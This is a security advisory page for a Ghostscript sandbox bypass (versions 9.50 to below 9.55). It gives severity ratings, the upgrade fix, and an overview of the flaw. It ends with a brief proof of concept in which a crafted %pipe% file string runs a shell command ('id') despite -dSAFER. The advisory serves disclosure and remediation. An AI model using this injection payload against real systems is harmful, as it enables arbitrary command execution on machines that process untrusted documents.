Sandbox Bypass Affecting ghostscript package, versions [9.50,9.55)


0.0
medium

Snyk CVSS

    Attack Complexity Low

    Threat Intelligence

    Exploit Maturity Proof of concept
    EPSS 0.34% (72nd percentile)
Expand this section
NVD
9.9 critical
Expand this section
SUSE
9.8 critical
Expand this section
Red Hat
9.8 critical

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk ID SNYK-UNMANAGED-GHOSTSCRIPT-2407248
  • published 20 Feb 2022
  • disclosed 20 Feb 2022
  • credit Unknown

How to fix?

Upgrade ghostscript to version 9.55 or higher.

Overview

Affected versions of this package are vulnerable to Sandbox Bypass via the -dSAFER flags by injecting a specially crafted pipe command, which allows a specially crafted document to execute arbitrary commands on the system in the context of the ghostscript interpreter.

PoC

# bin/gs -dSAFER
GPL Ghostscript GIT PRERELEASE 9.55.0 (2021-03-30) [...]
GS>(%pipe%/tmp/&id)(w)file
GS<1>sh: 1: /tmp/: Permission denied
uid=0(root) gid=0(root) groups=0(root)